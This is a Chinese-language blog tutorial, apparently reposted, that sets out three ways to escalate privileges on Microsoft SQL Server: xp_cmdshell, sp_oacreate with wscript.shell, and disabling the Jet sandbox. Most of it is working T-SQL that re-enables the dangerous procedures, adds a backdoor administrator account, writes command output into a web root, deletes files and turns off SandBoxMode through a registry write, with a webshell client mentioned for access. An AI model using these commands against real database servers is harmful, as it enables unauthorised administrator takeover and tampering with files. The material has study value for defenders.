Sql server
也称Mssql Server
,是微软家的数据库,但是要注意,sql server
同样也能在linux
中安装使用,本文主要记录sql server
的提权方式。
sql server
提权主要依赖于sql server
自带的存储过程
。
存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL
语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute
命令执行存储过程。
主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。
系统存储过程主要存储在master
数据库中,以sp_
为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;扩展存储过程则是对动态链接库(DLL)
函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_
为前缀,使用方法与系统存储过程类似;用户定义的存储过程是SQLServer
的使用者编写的存储过程。
接下来就常见提权方式做一次总结与学习
0x01 xp_cmdshell提权
扩展存储过程中xp_cmdshell
是一个开放接口,可以让SQLserver
调用cmd
命令。此存储过程在SQLserver2000
中默认开启,2005
本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA
账号相应权限,使用sp_configure
将其开启。
SA
是Microsoft SQLServer
的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。
2005
的xp_cmdshell
的权限一般是system
,而2008
多数为nt authority\network service
。
所以xp_cmdshell
的提权前提为两个:
sa
权限的账户密码sqlserver
服务未降权
这里使用caidao
进行连接一句话,使用工具自带的连接器进行连接数据库,填入对应的信息即可连接数据库
连接数据库后,先检查xp_cmdshell
是否存在。
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
结果为1
,则证明存在。当结果为0
时,可以通过下列命令恢复
xp_cmdshell
被删除,则可以通过下列命令重新加载。
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
如果连xplog70.dll
也被删除,则可以通过下列命令恢复(未验证)
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
当通过xp_cmdshell
执行命令时,出现下列错误时,
-2147217900:[Microsoft][ODBC SQL Server Driver][SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
可以通过下列语句开启xp_cmdshell
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
使用xp_cmdshell
的方式为
EXEC master..xp_cmdshell 'whoami';
提权成功。
0x02 sp_oacreate提权
sp_oacreate
可以删除、复制、移动文件,还能配合sp_oamethod
来写文件执行cmd
。
sp_oacreate
和sp_oamethod
两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell
能执行的sp_oacreate
+sp_oamethod
同样能胜任。但是使用此方法时sp_oacreate
没有回显,所以一般用于xp_cmdshell
无法使用时。
以下命令用来开启sp_oacreate
,不开启的话同样会有阻止组件的报错。
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE
提权命令如下
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'
由于没有回显,去服务器上查看成功,用起来没有xp_cmdshell
方便
不过没有回显可以配合一些其它 *** 作配合完成读取文件,比如可以通过xp_dirtree
列目录可以查到物理路径
execute xp_dirtree 'c:' # 列出所有c:\文件、目录、子目录
execute xp_dirtree 'c:',1 # 只列c:\目录
execute xp_dirtree 'c:',1,1 # 列c:\目录、文件
那么就可以先将执行的命令写入到网站目录下
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt';
然后再进行读取 *** 作即可
除此之外,还可以通过替换上列命令中的run
和组件完成其它 *** 作
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'copyfile',null,'c:\1.txt' ,'c:\2.txt'
移动文件
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'movefile',null,'c:\1.txt' ,'c:\2.txt'
删除文件
DECLARE @Result int;
DECLARE @FSO_Token int;
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT;
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\Inetpub\wwwroot\1.txt';
EXEC @Result = sp_OADestroy @FSO_Token;
0x03 sandbox提权
当执行命令方法无法使用时,可以使用沙盒进行提权。
沙盒模式SandBoxMode
是一种安全功能。在沙盒模式下,Access
只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如Kill
和Shell
之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access
以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
OLE DB Driver for SQL Server
是用于访问数据的底层COM API
,是应用程序链接到SQL Server
的的驱动程序。
本质是修改注册表,默认情况下,注册表中mdb
数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb
文件执行数据库,通过查询方式调用mdb
文件,执行参数,绕过系统本身自己的执行命令,实现mdb
文件执行命令。
提权命令如下:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')
没有开启的话报错,通过下面命令开启组件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
再次执行会报下面错误
接着关闭沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet.0\Engines','SandBoxMode','REG_DWORD',0;
沙盒模式`SandBoxMode`参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启
再次执行命令
没有报错,说明执行成功。没有回显,可以通过之前的办法将加显写入文本后读取即可。
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt")')
提权成功。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)